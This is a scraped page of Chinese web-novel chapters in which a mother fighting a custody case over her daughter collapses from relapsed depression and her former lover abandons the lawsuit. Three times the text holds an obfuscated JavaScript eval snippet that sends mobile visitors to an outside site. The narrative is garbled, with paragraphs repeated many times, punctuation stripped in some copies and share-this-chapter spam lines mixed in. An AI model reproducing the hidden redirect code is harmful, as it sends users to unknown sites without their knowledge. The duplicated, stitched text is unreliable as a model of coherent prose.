邵一屿直接一溜烟小跑起来。 温昭宁觉得自己这是被下套了,但没办法,人已经在她车上了,她不送也得送。 她上了车。 甲壳虫本来就小,贺淮钦身高腿长,整个人像是无处安放了一般,占满了她整个副驾驶座。 温昭宁俯过身去,替他扣上安全带。 他睡得很沉,睡梦中也紧皱着眉。 温昭宁不明白,他新交了女朋友,正在蜜恋期,还有什么可不开心的,需要他睡着了都露出这一副愁容。 她发动了车子,握紧方向盘,目视前方,慢慢地往前开去。 等第一个红绿灯的时候,副驾驶座上的贺淮钦忽然发出了一声梦呓。 “温昭宁…… 夜风似乎静了一瞬。 温昭宁心头跳了跳,怎么回事,他睡着了喊的竟然是她的名字? 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 上吧。” “你没开车你怎么来的?” “我坐淮钦的车来的。” “那你可以开他的车把他送回去。” “我喝酒了喝酒不开车开车不喝酒。”邵一屿看着她“你没喝酒对吧?” “我是没喝酒……” “妥了既然你没喝酒淮钦就拜托你了。” 温昭宁无语。 她好心帮忙这人怎么还强买强卖呢? “邵医生他太重了现在我们一起把他扶上车勉强可以如果是我送等下我一个人该怎么把他弄下车呢?” “淮钦这人喝酒醉意来得急去得也快他路上睡一会儿到家也该醒了要是不醒你给扇两巴掌扇醒了让他自己下来就行。” “可是……” “麻烦你了温小姐。”邵一屿拉开了温昭宁的车门将贺淮钦往车里一塞掉头就走“再见温小姐改天我请你吃饭。” “喂……” 邵一屿直接一溜烟小跑起来。 温昭宁觉得自己这是被下套了但没办法人已经在她车上了她不送也得送。 她上了车。 甲壳虫本来就小贺淮钦身高腿长整个人像是无处安放了一般占满了她整个副驾驶座。 温昭宁俯过身去替他扣上安全带。 他睡得很沉睡梦中也紧皱着眉。 温昭宁不明白他新交了女朋友正在蜜恋期还有什么可不开心的需要他睡着了都露出这一副愁容。 她发动了车子握紧方向盘目视前方慢慢地往前开去。 等第一个红绿灯的时候副驾驶座上的贺淮钦忽然发出了一声梦呓。 “温昭宁……” 夜风似乎静了一瞬。 温昭宁心头跳了跳怎么回事 你的朋友正在书荒,快去帮帮他吧 第122章 配一脸 一股难以言喻的震惊,以及一丝隐秘的悸动与期盼,如同投入热油的水滴,在她心底轰然炸开了。 温昭宁将车速放得更慢,视线往驾驶座上瞟了一眼。 贺淮钦完全沉浸在自己的醉梦之中,唤出她的名字后,他的眉头似乎锁得更紧了,呼吸也变得急促。 他梦到她了吗?梦到什么了呢? 温昭宁侧耳倾听,期待着他能再次开口。 贺淮钦挺给面子的,还真的再次开口了。 这一次,不是模糊的呓语,每一个字,都很清晰。 “我恨你!” 三个字,冰冷,决绝,带着梦魇般的重量,砸在这小小的空间里,也狠狠砸在了温昭宁的心上。 温昭宁的情绪一瞬间从高空落入了谷底。 果然,她就知道。 他恨她。 即使在意识最混沌,防备最松懈的时刻,这份恨意,也依然如此刻骨。 贺淮钦在说完那句话后,似乎耗尽了最后一点力气,呼吸沉重,陷入了更深的昏睡之中。 温昭宁自嘲一笑,缓缓踩下油门,加快了车速。 半小时后,温昭宁的车停在了贺淮钦的别墅门口。 她把车熄火,解开安全带,正愁该怎么把贺淮钦弄下车,贺淮钦像是有感应似的,缓缓睁开了眼睛。 看来邵一屿说得没错,贺淮钦这人喝酒,醉意真是来得急去得也快,这路上半个多小时,他已经一觉睡醒了。 “到了,下车吧。”温昭宁面无表情地开口。 贺淮钦揉了揉太阳穴:“怎么是你送我回来?” “邵一屿把你塞我车里了。” 贺淮钦听出她非自愿,掏出手机,在屏幕上一阵划拉后,温昭宁的手机响了。 温昭宁摁亮屏幕一看,贺淮钦给她转了一千块钱。 一千块。 市价足够包一辆豪华专车从庄园往返市中心几个来回。 他这是把她当司机了。 也好,她提供了驾驶服务,他支付了相应的报酬,钱货两讫,互不相欠。 温昭宁深吸一口气,指尖在屏幕上快速点击,收下了这一千块钱。 “谢谢贺律又给机会让我赚了一笔外快。”她说。 贺淮钦不语,推门就下车。 他眉头紧锁,脸颊和脖颈因为酒精而泛着不正常的红晕,看起来很不舒服,走路也是东倒西歪的。 温昭宁坐在车里,理智告诉她送到这里就可以了,可是,想到他刚才失控饮酒的模样,还有现在跌跌撞撞几乎摔倒的样子,她还是有点担心。 万一他真的摔一跤,后果也可大可小。 她毕竟收了他的钱,送人还是得安全送进家门才好。 温昭宁推开车门,正要下车,忽然听到一阵高跟鞋敲击地面的清脆声,由远及近。 “淮钦! 是白方瑶。 白方瑶穿着一身雾霾蓝的女士西装,手里提着一个爱马仕的BK35,见贺淮钦摇摇晃晃地过来,立刻冲过来,一把扶住了他。 “你怎么喝这么多酒?白方瑶埋怨,“我给你打那么多电话,一个也不接,你要急死我啊! 贺淮钦低声说了句什么,温昭宁没听清,当然,也不重要了。 她坐回驾驶座,不再去看那对相依相携的人,启动引擎,踩下油门。 车子驶出别墅区,冰冷的夜风从未完全关紧的车窗灌入,吹散了车厢内残留的酒气,也吹冷了她脸上最后一点勉强维持的平静。 从今往后,他是他,她是她。 他们之间,连最后一丝可能都失去了。—— 这个年,温昭宁过得很煎熬,她觉得这段时间更像是暴风雨来临前一段充满了虚假平静的缓冲期。 年初十,民宿重新开门迎客。 山间的雪还未完全消融,空气清冽,倒是吸引了一些喜欢清静和雪景的客人。 生活似乎又回到了之前的轨道,忙碌、充实、堆满了琐碎的具体事务,但温昭宁知道,她心里真正空缺的那一块,再也填不满了。 元宵节,袁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17158182|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西来了一趟民宿。 一段时间没有见,袁西换了发型,看起来成熟稳重了不少。 “温女士,好久不见。 “好久不见。温昭宁将她引至茶吧,给她煮了一壶龙井,“路上辛苦了,刚过完年就让你跑一趟真是不好意思。 “应该的。袁西没有过多寒暄,她放下公文包,从里面拿出一沓厚厚的文件,“我今天过来,主 要是就下周三的开庭再做最后一次庭前准备和细节确认。” 下周三。 这几个字像是冰冷的小石子投入了温昭宁努力维持平静的心湖激起一圈压抑的涟漪。 原来距离那场决定青柠未来的法庭对决只剩下不到一周时间了。 “我打听过了对方目前没有提交新的证据清单也就是说到时候打起官司来他们的侧重点还是在保障孩子未来获得优质的生活和教育资源这一点上。而我们这边的策略依然是主打‘未成年人最大利益原则’和‘维持现有稳定的生活环境’。” “好。” “你这边还有什么要补充的吗?”袁西问。 温昭宁想了想还真想到一点:“袁律师你说如果对方现在有了新的恋情这种情况对于我这边争取抚养权算是有利因素吗?” “什么?你是说贺律师有新女友了?”袁西一副受到了暴击的模样“谁啊?贺律师的新女友是谁?” 温昭宁心想现在是八卦的时候吗? 亏她还觉得袁西变得成熟稳重了呢 “等等贺律师的女朋友该不会是白律师吧?”袁西忽然说。 温昭宁一怔。 没想到她竟然猜到了看来贺淮钦和白方瑶两人的关系在律政圈已经不是什么秘密了。 袁西敏锐地从温昭宁的表情中捕捉到了答案:“真是白律师啊难怪了我前两天看到他们一起接受杂志专访的视频两个人举手投足间都是默契完完全全配一脸啊。” 温昭宁不想过多地去八卦贺淮钦和白方瑶的事她把话题扯回来:“袁律师所以这算我们的有利因素吗?” 第123章 晕倒了 袁西意识到自己刚才的反应有点不够专业她连忙调整情绪:“温女士在抚养权**中法官考量的核心永远是‘未成年人最大利益原则’父母任何一方的个人感情状况本身并不是法律明文规定的能直接决定抚养权归属的硬性条件。当然也不能说毫无影响如果对方有了新的稳定伴侣甚至涉及重组家庭法官在评估‘未来抚养环境稳定性’时可能会将这一因素纳入考量还有就是对方的新伴侣是否愿意接受并善待非亲生子女这也很重要到时候我们也可以适时提出合理质疑。” 温昭宁想到之前青柠说白方瑶问她介不介意多一个妈妈这么听来贺淮钦肯定已经和白方瑶讨论过这个问题了而明面上白方瑶也是接受青柠的。 一想到女儿可能会被贺淮钦抢走并且和另一个女人重组三口之家她就觉得自己要疯了。 “袁律师无论如何请一定要尽全力为我争夺孩子的抚养权拜托了。” “这是当然你放心我一定会尽全力。”—— 袁西虽然保证了这场官司她一定会尽力而为可温昭宁还是止不住的焦虑。 开庭的日子像是一块不断逼近的巨大乌云沉沉地压在温昭宁的心头。 那几日她几乎完全难以入眠即便勉强睡着睡眠质量也是极差的每天清晨她都觉得自己头痛欲裂四肢沉重得像是灌了铅甚至有时连呼吸都变得有些困难。 她越来越瘦。 母亲姚冬雪看在眼里疼在心里。 “宁宁妈妈知道你在害怕什么但是抚养权的官司我们也不是毫无胜算青柠未必会离开你你不要想太多更不要去焦虑还没有发生的事情你这样我真的很担心。” “妈我也想极力调整自己的心态可是我控制不住。” 姚冬雪更担心了:“宁宁你得去看医生了你这样拖下去不是办法。” “我知道等开完庭我就去。” 开庭前一天温昭宁整夜未眠 她的脑子里像过电影一样把袁律师交代的要点和可能遇到的问题反反复复地背诵、推演直到大脑一片空白。 清晨的闹钟响起时她根本 没有闭过眼。 温昭宁起床,走进浴室洗漱,镜子里,她的脸色苍白得吓人,嘴唇也没有什么血色,只有眼睛因为失眠布满了红血丝。 洗漱完,她换上了一套稍显正式的浅灰色套装下楼。 母亲已经准备好了早餐,看到她明显不对劲的脸色,问她:“又没有睡着吗? “嗯。 “你这样怎么行,要不,我陪你去? “不用了妈,你在家里照顾好青柠,袁律师等下会和我一起,没事的。 温昭宁胡乱喝了两口几乎没味道的粥,就再也吃不下其他了。 她拿上自己的包,亲了亲青柠,就往外走。 大门外,阳光透过薄雾,变成无数跳跃晃动的金色光斑,她的眼前开始一阵一阵地发花,耳朵也嗡嗡作响。 “妈妈,你怎么了? 温昭宁还没回答,眼前的光斑忽然迅速地扩大、旋转,最终交织成一片令人眩晕的白光。 世界的声音迅速褪去,变得遥远而模糊。 温昭宁想扶住旁边的门框,手臂却沉重得根本抬不起来。 最后的感觉,是青石板冰冷的触感,以及母亲在门内陡然拔高的惊恐呼喊。 “宁宁——!!!—— **民事庭内,气氛肃穆而紧绷。 袁西一遍一遍抬腕看手表。 已经快到开庭时间了,**员都开始核对到庭人员了,可温昭宁却还没有到,发她信息也不回。 昨晚通电话的时候,她曾再三叮嘱温昭宁,今天不要迟到,她明明答应得好好的,怎么会忽然掉链子? 是堵车?还是出了其他什么事? “袁律师。主审法官的声音响起,带着程式化的威严,“被告温昭宁女士怎么还没有到庭,按照规定,如果无正当理由缺席…… “抱歉法官,请稍等。袁西急忙起身,“我再联系一下我的当事人,她绝对不是故意缺席,她非常重视这次庭审。 袁西说着,手忙脚乱地拨通了温昭宁的电话。 她将手机紧紧贴在耳边,祈祷她赶紧接电话。 对面原告席的贺淮钦,目光牢牢锁在袁西的身上。 袁西感觉到贺淮钦在盯着 她顿时更加慌张。 电话响了许久都没有人接袁西默默按掉再拨打第二遍。 终于那头传来一道声音。 “喂你好是小袁律师对吗?”这声音不是温昭宁。 “是的我是袁西请问温女士在哪儿这边马上要开庭了她什么时候能到?” “她去不了**了她晕倒了刚刚被送到医院。” “什么?晕倒了?”袁西不由得提高了声调“怎么会忽然晕倒?” 电话那头的人说了什么袁西还没有听清楚她就看到对面的原告席的贺淮钦近乎本能般地弹跳起来几个大步跨过了原告席与被告席之间那道无形的界限径直冲到了袁西的面前。 帅脸陡然凑近把袁西吓了一大跳。 “电话给我!”贺淮钦的声音失去了往日的沉稳带着一种粗暴的急切他伸手就要去夺袁西还贴在耳边的手机。 袁西被他碰了一下手指脸都红了她也顾不上其他很顺从地就把手机交了出去。 手机落入贺淮钦的手中他对着话筒声音因为极度的担忧而微微发颤:“温昭宁在哪个医院?她现在什么情况?严不严重?说话!” 法庭一片寂静所有人都看着这个上一秒还冷静自持下一秒却近乎失控的男人。 他原本冷硬的“争夺者”面具在这一刻碎裂得干干净净。 电话那头的人也被他极具压迫感的追问弄得有些语塞好一会儿才把医院名字报出来。 贺淮钦听完将手机塞回给袁西然后猛地转身冲出了法庭。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 她顿时更加慌张。 电话响了许久都没有人接袁西默默按掉再拨打第二遍。 终于那头传来一道声音。 “喂你好是小袁律师对吗?”这声音不是温昭宁。 “是的我是袁西请问温女士在哪儿这边马上要开庭了 “她去不了**了她晕倒了刚刚被送到医院。” “什么?晕倒了?”袁西不由得提高了声调“怎么会忽然晕倒?” 电话那头的人说了什么袁西还没有听清楚她就看到对面的原告席的贺淮钦近乎本能般地弹跳起来几个大步跨过了原告席与被告席之间那道无形的界限径直冲到了袁西的面前。 帅脸陡然凑近把袁西吓了一大跳。 “电话给我!”贺淮钦的声音失去了往日的沉稳带着一种粗暴的急切他伸手就要去夺袁西还贴在耳边的手机。 袁西被他碰了一下手指脸都红了她也顾不上其他很顺从地就把手机交了出去。 手机落入贺淮钦的手中他对着话筒声音因为极度的担忧而微微发颤:“温昭宁在哪个医院?她现在什么情况?严不严重?说话!” 法庭一片寂静所有人都看着这个上一秒还冷静自持下一秒却近乎失控的男人。 他原本冷硬的“争夺者”面具在这一刻碎裂得干干净净。 电话那头的人也被他极具压迫感的追问弄得有些语塞好一会儿才把医院名字报出来。 贺淮钦听完将手机塞回给袁西然后猛地转身冲出了法庭。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 她,顿时更加慌张。 电话响了许久,都没有人接,袁西默默按掉,再拨打第二遍。 终于,那头传来一道声音。 “喂,你好,是小袁律师对吗?”这声音不是温昭宁。 “是的,我是袁西,请问温女士在哪儿,这边马上要开庭了,她什么时候能到?” “她去不了**了,她晕倒了,刚刚被送到医院。” “什么?晕倒了?”袁西不由得提高了声调,“怎么会忽然晕倒?” 电话那头的人说了什么,袁西还没有听清楚,她就看到对面的原告席的贺淮钦近乎本能般地弹跳起来,几个大步跨过了原告席与被告席之间那道无形的界限,径直冲到了袁西的面前。 帅脸陡然凑近,把袁西吓了一大跳。 “电话给我!”贺淮钦的声音失去了往日的沉稳,带着一种粗暴的急切,他伸手就要去夺袁西还贴在耳边的手机。 袁西被他碰了一下手指,脸都红了,她也顾不上其他,很顺从地就把手机交了出去。 手机落入贺淮钦的手中,他对着话筒,声音因为极度的担忧而微微发颤:“温昭宁在哪个医院?她现在什么情况?严不严重?说话!” 法庭一片寂静,所有人都看着这个上一秒还冷静自持,下一秒却近乎失控的男人。 他原本冷硬的“争夺者”面具,在这一刻碎裂得干干净净。 电话那头的人也被他极具压迫感的追问弄得有些语塞,好一会儿才把医院名字报出来。 贺淮钦听完,将手机塞回给袁西,然后猛地转身,冲出了法庭。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 她,顿时更加慌张。 电话响了许久,都没有人接,袁西默默按掉,再拨打第二遍。 终于,那头传来一道声音。 “喂,你好,是小袁律师对吗?”这声音不是温昭宁。 “是的,我是袁西,请问温女士在哪儿,这边马上要开庭了,她什么时候能到?” “她去不了**了,她晕倒了,刚刚被送到医院。” “什么?晕倒了?”袁西不由得提高了声调,“怎么会忽然晕倒?” 电话那头的人说了什么,袁西还没有听清楚,她就看到对面的原告席的贺淮钦近乎本能般地弹跳起来,几个大步跨过了原告席与被告席之间那道无形的界限,径直冲到了袁西的面前。 帅脸陡然凑近,把袁西吓了一大跳。 “电话给我!”贺淮钦的声音失去了往日的沉稳,带着一种粗暴的急切,他伸手就要去夺袁西还贴在耳边的手机。 袁西被他碰了一下手指,脸都红了,她也顾不上其他,很顺从地就把手机交了出去。 手机落入贺淮钦的手中,他对着话筒,声音因为极度的担忧而微微发颤:“温昭宁在哪个医院?她现在什么情况?严不严重?说话!” 法庭一片寂静,所有人都看着这个上一秒还冷静自持,下一秒却近乎失控的男人。 他原本冷硬的“争夺者”面具,在这一刻碎裂得干干净净。 电话那头的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17158183|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也被他极具压迫感的追问弄得有些语塞,好一会儿才把医院名字报出来。 贺淮钦听完,将手机塞回给袁西,然后猛地转身,冲出了法庭。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 她,顿时更加慌张。 电话响了许久,都没有人接,袁西默默按掉,再拨打第二遍。 终于,那头传来一道声音。 “喂,你好,是小袁律师对吗?”这声音不是温昭宁。 “是的,我是袁西,请问温女士在哪儿,这边马上要开庭了,她什么时候能到?” “她去不了**了,她晕倒了,刚刚被送到医院。” “什么?晕倒了?”袁西不由得提高了声调,“怎么会忽然晕倒?” 电话那头的人说了什么,袁西还没有听清楚,她就看到对面的原告席的贺淮钦近乎本能般地弹跳起来,几个大步跨过了原告席与被告席之间那道无形的界限,径直冲到了袁西的面前。 帅脸陡然凑近,把袁西吓了一大跳。 “电话给我!”贺淮钦的声音失去了往日的沉稳,带着一种粗暴的急切,他伸手就要去夺袁西还贴在耳边的手机。 袁西被他碰了一下手指,脸都红了,她也顾不上其他,很顺从地就把手机交了出去。 手机落入贺淮钦的手中,他对着话筒,声音因为极度的担忧而微微发颤:“温昭宁在哪个医院?她现在什么情况?严不严重?说话!” 法庭一片寂静,所有人都看着这个上一秒还冷静自持,下一秒却近乎失控的男人。 他原本冷硬的“争夺者”面具,在这一刻碎裂得干干净净。 电话那头的人也被他极具压迫感的追问弄得有些语塞,好一会儿才把医院名字报出来。 贺淮钦听完,将手机塞回给袁西,然后猛地转身,冲出了法庭。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 她,顿时更加慌张。 电话响了许久,都没有人接,袁西默默按掉,再拨打第二遍。 终于,那头传来一道声音。 “喂,你好,是小袁律师对吗?”这声音不是温昭宁。 “是的,我是袁西,请问温女士在哪儿,这边马上要开庭了,她什么时候能到?” “她去不了**了,她晕倒了,刚刚被送到医院。” “什么?晕倒了?”袁西不由得提高了声调,“怎么会忽然晕倒?” 电话那头的人说了什么,袁西还没有听清楚,她就看到对面的原告席的贺淮钦近乎本能般地弹跳起来,几个大步跨过了原告席与被告席之间那道无形的界限,径直冲到了袁西的面前。 帅脸陡然凑近,把袁西吓了一大跳。 “电话给我!”贺淮钦的声音失去了往日的沉稳,带着一种粗暴的急切,他伸手就要去夺袁西还贴在耳边的手机。 袁西被他碰了一下手指,脸都红了,她也顾不上其他,很顺从地就把手机交了出去。 手机落入贺淮钦的手中,他对着话筒,声音因为极度的担忧而微微发颤:“温昭宁在哪个医院?她现在什么情况?严不严重?说话!” 法庭一片寂静,所有人都看着这个上一秒还冷静自持,下一秒却近乎失控的男人。 他原本冷硬的“争夺者”面具,在这一刻碎裂得干干净净。 电话那头的人也被他极具压迫感的追问弄得有些语塞,好一会儿才把医院名字报出来。 贺淮钦听完,将手机塞回给袁西,然后猛地转身,冲出了法庭。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 她,顿时更加慌张。 电话响了许久,都没有人接,袁西默默按掉,再拨打第二遍。 终于,那头传来一道声音。 “喂,你好,是小袁律师对吗?这声音不是温昭宁。 “是的,我是袁西,请问温女士在哪儿,这边马上要开庭了,她什么时候能到? “她去不了**了,她晕倒了,刚刚被送到医院。 “什么?晕倒了?袁西不由得提高了声调,“怎么会忽然晕倒? 电话那头的人说了什么,袁西还没有听清楚,她就看到对面的原告席的贺淮钦近乎本能般地弹跳起来,几个大步跨过了原告席与被告席之间那道无形的界限,径直冲到了袁西的面前。 帅脸陡然凑近,把袁西吓了一大跳。 “电话给我!贺淮钦的声音失去了往日的沉稳,带着一种粗暴的急切,他伸手就要去夺袁西还贴在耳边的手机。 袁西被他碰了一下手指,脸都红了,她也顾不上其他,很顺从地就把手机交了出去。 手机落入贺淮钦的手中,他对着话筒,声音因为极度的担忧而微微发颤:“温昭宁在哪个医院?她现在什么情况?严不严重?说话! 法庭一片寂静,所有人都看着这个上一秒还冷静自持,下一秒却近乎失控的男人。 他原本冷硬的“争夺者面具,在这一刻碎裂得干干净净。 电话那头的人也被他极具压迫感的追问弄得有些语塞,好一会儿才把医院名字报出来。 贺淮钦听完,将手机塞回给袁西,然后猛地转身,冲出了法庭。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 第124章 抑郁症 贺淮钦的大G像是一头挣脱了缰绳的野兽,在城市的车流中疯狂地穿梭。 车窗外的景物飞速**。 红绿灯的变换,拥堵的车流和行人的身影,所有的一切都成了阻碍他前行的障碍。 他恨不得生出一对翅膀,或者让这辆车瞬间移动到医院的门口才好。 温昭宁晕倒了。 她怎么会忽然晕倒? 他脑海里闪出无数猜想,而这些猜想勾出了他心底最深处的恐惧。 这恐惧尖锐地刺破了他的一切伪装。 是的,他恨过她,怨过她,下定决心要和她争夺孩子,要让她感同身受地尝一尝他的痛苦,要让她为她的欺瞒付出代价……可是,他真的从来没有想过可能会失去她。 一想到她可能会出事,这一瞬间,官司、恩怨和对错,全都变得无关紧要了。 他只想快点见到她,一个好好的她。 二十分钟后,贺淮钦终于到了医院,把车停好后,他三步并两步地往二楼病房跑。在病房里,他见到了温昭宁。 温昭宁还在昏睡,脸色是肉眼可见的差,她身上盖着白色的被子,一只手露在外面,手背上扎着留置针,透明的药液正一滴一滴缓慢地输入她的静脉。 她那么安静,那么脆弱,仿佛轻轻一碰就会碎掉。 上一次见面,她还好好的,怎么忽然就这样了呢? 贺淮钦的心像被狠狠地剜了一刀。 姚冬雪从医生办公室回来,看到病房里的贺淮钦,眉头轻轻一皱。 “贺律师。”她开口,声音嘶哑,“你出来一下,我们到外面说两句吧。” 贺淮钦点点头,跟着姚冬雪走到走廊里一个相对比较安静的窗户边,窗外,几棵光秃秃的树在寒风中萧瑟,天空是阴郁的灰白色。 姚冬雪没有立刻说话,只是望着窗外,像是在积蓄力气,又像是在组织语言。 贺淮钦先忍不住:“阿姨,她怎么会忽然晕倒?” “宁宁的抑郁症复发了,这次晕倒,医生说是因为已经躯体化……” 抑郁症复发。 躯体化。 每一个字都直戳贺淮钦的心。 “她得过抑郁症?什么时候?” “当年生完青柠 之后,有差不多一年的时间,她的情绪一直非常低落,除了会莫名其妙地流眼泪,她还睡不着吃不下,对什么都提不起兴趣,甚至有一天我去看她的时候,发现她抽屉里攒了很多的**……”那是姚冬雪几乎不愿去回忆的一段灰暗岁月,“我意识到她不对劲,怕她有极端行为,立刻带她去看了心理医生,心理医生说,她得了产后抑郁症。” 产后抑郁症是很多新手妈妈都会碰到的难关,温昭宁也一样,初为人母的惶恐,独自抚养的无助,身体的变化,对未来的迷茫,还有在陆家的种种的压抑,所有情绪,都像是黑色的淤泥,一点点将她淹没。 “她花了很长的时间,才慢慢走出来。我以为,她过了那道关,就好了,没想到,她精神上的这道伤口,其实从来没有真正愈合过。这一两年里,她又经历了温家破产,父亲**,家暴、离婚等等变故,她表面坚强,自己一个人扛下了所有,其实内里早就千疮百孔。” 贺淮钦默默握紧了拳。 姚冬雪的目光重新聚焦到贺淮钦的脸上,那眼神里充满了复杂的情绪:“与你重逢后,我原本以为,她会有一个全新的开始,没想到,你们之间的情感纠葛会把她伤得更深,而青柠的抚养权官司,更是成了压垮她的最后一根稻草。” 贺淮钦僵立在那里,巨大的愧疚和一种近乎灭顶的自责,如同冰冷的潮水,瞬间将他淹没。 他想起自己那些自以为是的试探,想起得知真相后的那场暴怒质问,想起那封冰冷的律师函……他到底对她做了什么? “医生说,过度的焦虑和压力,是导致抑郁症复发的常见诱因,而且,宁宁现在的情况,已经不仅仅是情绪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168253|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题了,她心理上的痛苦和压力,已经转化成了身体上的实际病症,这次晕倒,是一个强烈的警告,如果她继续处在这样的强焦虑和坏情绪中,她的精神防线就会被彻底击垮,情况也会越来越糟,下一次,可能就不只是晕倒了。”姚冬雪眼眶泛红,她上前一步,卑微地握住贺淮钦的手,“她对你隐瞒了青柠的存在,是她不对,但是贺律师,我女儿纵然有千错万错,她也经历了女人生产最痛的那一关,为你生下了女儿,我求你,看在孩子的份上,放过她吧。官司,别打了。你……短时间内,也不要出现在她的面前了……让她好好地调整一下……我 求求你……求求你……宁宁真的不容易我看着她躺在那里我的心都要碎了我求你给她一条活路吧……” 姚冬雪弯着腰眼泪夺眶而出。 贺淮钦面对姚冬雪泣血的恳求张了张嘴想说点什么可喉咙却像是被砂石堵住了发不出任何声音只有眼眶无法控制地泛起一片滚烫的湿意。 沉默许久后他终于点了点头。—— 贺淮钦走出医院 他立在台阶上冷风猛地灌进他的西装外套里可他却感觉不到丝毫的凉意只觉得胸口像是被挖开了一个大洞空荡荡的每一次呼吸都带着钝痛和寒意。 温昭宁苍白昏迷的脸颊、抑郁症、躯体化……所有一切都像是走马灯似的在他脑海里疯狂旋转、撞击。 **自己是怎么上车的也不知道车子开了多久等他恢复一点意识时他的车已经停在了邵一屿的茶庄门口了。 贺淮钦走进茶庄内。 邵一屿今天医院休息他正坐在茶台后低头用茶针专注地拨弄一饼老普洱听到脚步声邵一屿抬起头来。 “哟你今天不是要去开庭吗?怎么还有时间来我这里?”邵一屿看着他脸上是一贯散漫的笑容“官司打得怎么样?看你这表情……输了?” 贺淮钦没有回答他甚至没有看邵一屿行尸走肉般径直走到茶台对面的明式圈椅旁重重地坐了下去。 第125章 不争了 椅子发出“吱嘎”一声。 邵一屿脸上的笑容慢慢敛去,他放下茶针,打量着贺淮钦。 贺淮钦的脸色不太好,虽然他身上西装依旧笔挺,领带也系得一丝不苟,可整个人却散发着一种死寂的疲惫和深重的痛色。 这不是官司输赢该有的神情,这更像是被什么东西从内部彻底击碎了。 邵一屿不再多问,他默默起身,从身后的柜子里取出一套素净的白瓷茶具,煮了一壶贺淮钦平日偏好的熟普。 他将一杯澄红透亮的茶汤轻轻推到贺淮钦的面前。 贺淮钦没有动,他的目光依然落在虚空的某一点,仿佛沉浸在自己的世界里,根本没有看到这杯茶,也没有看到任何其他人其他事。 时间在这片被茶香和寂静填充的空间里,似乎失去了意义。 窗外的光线,从清冷的白,慢慢染上了夕阳的暖金,然后一点点黯淡下去,最终被浓稠的夜色彻底取代。 邵一屿没有开大灯,只留了茶台上方一盏昏黄的纸灯笼。 光影在贺淮钦沉默的侧脸上摇曳,明明灭灭,更衬得他像一个被困在时间里,失去了所有鲜活气息的影子。 邵一屿觉得,如果不去叫他,贺淮钦能保持这个姿势,一动不动,坐到地老天荒。 “淮钦,到底发生什么事情了?”邵一屿实在憋不住了,“是官司不顺利?还是你和温昭宁之间又闹什么不愉快了?” 在邵一屿认知里,能让贺淮钦失魂落魄至此的人,除了温昭宁,不会有第二个人。 贺淮钦听到邵一屿的问话,眼睫颤动了一下。 “我错了。”他哑着嗓子开口,“是我错了。” 贺淮钦想起在他发出律师函,决心要争夺抚养权之后,温昭宁曾经来茶庄找过他,她赢来十分钟,用那十分钟求他不要和她抢孩子,可是,他却愤怒地把她赶走了。 现在想想,他真的是被愤怒冲昏了头脑,他怎么可以在她放下所有尊严来求他的时候,用那样冰冷决绝的态度将她最后的希望彻底碾碎呢。 他不该被自己的恨意和委屈蒙蔽双眼,从而忽略了她独自抚养孩子的艰辛,忽略了她突然面对他如此强势的“争夺”时内心承受的巨大压力和恐惧,更忽略了她来求他时可能早已 不堪重负的精神状态。 产后抑郁、躯体化、抽屉里的**……温昭宁母亲的每一句话都像是审判他的重锤。 如果他当时能稍微冷静一点是不是就不会将她逼到再次病发晕倒入院的地步? “什么你错了?你做错什么了?” “我当初就该听你的我不应该打官司我不应该和她抢孩子。”贺淮钦将脸埋进掌心“是我把她逼到了如今的境地是我!” “淮钦到底怎么了?是温昭宁出事了吗?” “她抑郁症已经到了躯体化的程度今天开庭之前晕倒了。” 邵一屿是医生他当然知道抑郁症发展为躯体化是多么严重的事情。 “怎么会这样?” “都是我不好。”贺淮钦已经陷入了深重的自责当中“以前我总以为只有浓烈的爱或者浓烈的恨才是两个人之间有过感情羁绊的证明。” 所以重逢之后他试探他靠近他占有他失控他报复他争夺……他用尽一切或明或暗的方式去证明他们之间没有被时光和现实斩断那些激烈的情绪是他去感知她存在的方式是他们之间还未真正结束的证据。 直到他看到她毫无生气地躺在病床上像个一碰就会碎的瓷娃娃他才意识到自己错得有多离谱。 “我现在才彻底明白爱也好恨也罢所有的一切都抵不过……她好好的。” 她不爱他 只要她平安只要她健康哪怕从此陌路哪怕永不相见只要知道她在这个世界的某个角落好好地呼吸着平静地生活着这就足够了。 他会放过她也放过那个执着的自己。—— 